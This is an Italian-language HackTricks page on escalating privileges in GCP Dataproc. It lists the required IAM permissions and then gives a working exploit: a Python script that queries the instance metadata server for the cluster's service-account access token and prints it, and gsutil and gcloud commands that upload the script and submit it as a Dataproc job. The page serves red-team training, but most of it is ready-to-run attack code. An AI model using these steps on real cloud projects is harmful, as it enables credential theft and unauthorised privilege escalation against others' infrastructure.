GCP Dataproc Privilege Escalation

Reading time: 2 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Dataproc

GCP - Dataproc Enum

dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get

Non sono riuscito a ottenere una reverse shell utilizzando questo metodo, tuttavia รจ possibile leakare il token SA dall'endpoint dei metadati utilizzando il metodo descritto di seguito.

Steps to exploit

  • Posizionare lo script del lavoro nel GCP Bucket

  • Inviare un lavoro a un cluster Dataproc.

  • Utilizzare il lavoro per accedere al server dei metadati.

  • Leakare il token dell'account di servizio utilizzato dal cluster.

python
import requests

metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}

def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None

if __name__ == "__main__":
fetch_metadata_token()
bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks